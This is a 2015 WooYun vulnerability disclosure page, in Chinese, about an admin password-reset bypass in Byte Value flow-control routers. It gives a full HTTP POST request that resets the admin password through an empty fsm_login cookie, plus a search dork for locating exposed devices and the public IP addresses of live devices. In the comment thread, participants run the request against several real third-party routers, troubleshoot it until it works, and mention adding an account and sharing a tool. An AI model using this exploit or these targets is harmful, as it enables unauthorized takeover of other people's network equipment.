当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099869

漏洞标题：百为流控路由管理员密码重置漏洞

相关厂商：深圳市百为百达科技开发有限公司

漏洞作者： 10457793

提交时间：2015-03-09 12:24

修复时间：2015-04-30 18:48

公开时间：2015-04-30 18:48

漏洞类型：设计不当

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

RT
案例百度可以搜索到200+
intitle:bytevalue
百度第4页至第31页都是，估计还有很多没有被检索到的。

漏洞证明：

演示地址

http://220.161.90.230:2011/
http://61.156.217.133:2011


POST数据如下

POST /goform/webForm HTTP/1.0
Referer: http://61.156.217.133:2011/maint/admin.htm?opener=home
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Language: zh-CN
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 61.156.217.133:2011
Content-Length: 52
DNT: 1
Pragma: no-cache
Cookie: fsm_u=admin; fsm_login=
cmd=MODIFY_PWD&json=%7B%22NewPwd%22%3A%22admin%22%7D


正常请求中包含fsm_login的值，为权限验证值

x3.png


直接删掉fsm_login的值更换host即可绕过权限验证
修改host即可实现攻击不同目标，将admin用户密码修改为admin
返回如下信息标示修改成功

z1.png


登录

q22.PNG

q11.PNG

修复方案：

版权声明：转载请注明来源 10457793@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2015-05-05 10:08 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    我只能说你验证不严格，根本不是什么漏洞，人家密码本来就是admin，你再把http://220.161.90.230:2011/密码重置一下试试

  2. 2015-05-05 10:27 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    @椰子比尔 你好 刚刚复试了一下 还是在百度找到了一个不是admin密码的设备进行了重置 您再试试 58.47.一59.七2:2011,

  3. 2015-05-05 10:42 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    http://58.47.159.72:2011/goform/webForm把下面的数据提交到上面的地址，你确定可以？POST /goform/webForm HTTP/1.0Referer: http://58.47.159.72:2011/maint/admin.htm?opener=homeContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestAccept: */*Accept-Language: zh-CNProxy-Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 58.47.159.72:2011Content-Length: 52DNT: 1Pragma: no-cacheCookie: fsm_u=admin; fsm_login=cmd=MODIFY_PWD&json=%7B%22NewPwd%22%3A%22admin%22%7D

  4. 2015-05-05 10:47 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    @椰子比尔 经过测试都可以复现

  5. 2015-05-05 10:51 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    你是怎么测试的 详细过程 使用什么工具提交的 我怎么测试都不能复现你说的漏洞

  6. 2015-05-05 10:52 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    你把220.161.90.230:2011 密码再重置成admin给我看下

  7. 2015-05-05 11:07 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    @椰子比尔 这个IP不行 我怀疑是admin用户不存在了 不要纠结于一个设备 多换几个试试 burpsuite

  8. 2015-05-05 11:08 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    admin用户存在密码是admin1.1

  9. 2015-05-05 11:13 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    @椰子比尔 我又实验了一下 刚刚重置完确实登陆不上去 不过过一会就登陆上来了

  10. 2015-05-05 11:18 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    看到你添加的帐号了 使用burpsuite的确可以 但是我写个程序专门来提交测试不行 目前在找原因中

  11. 2015-05-05 11:19 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    fsm_login参数需要设置为空

  12. 2015-05-05 11:29 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    已测试成功 需要小工具给你不 留邮箱

  13. 2015-05-05 11:33 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    大神10457793 Rank:695 果然名不虚传

  14. 2015-05-05 11:57 | 10457793 ( 普通白帽子 | Rank:867 漏洞数:29 | 说好的借，为什么从来不还？O(∩_∩)O)

    @椰子比尔 谢谢 我不做批量扫描 只是证明而已 哈哈

  15. 2015-05-05 13:00 | 椰子比尔 ( 路人 | Rank:0 漏洞数:1 | 安全任重道远！！！)

    @10457793 又看到你发的百为流控路由设计不当可任意添加管理员直接控制设备后台 可否透露下细节 我是百为流控的代理商 你之前的问题我已经反馈给百为工程师 周工了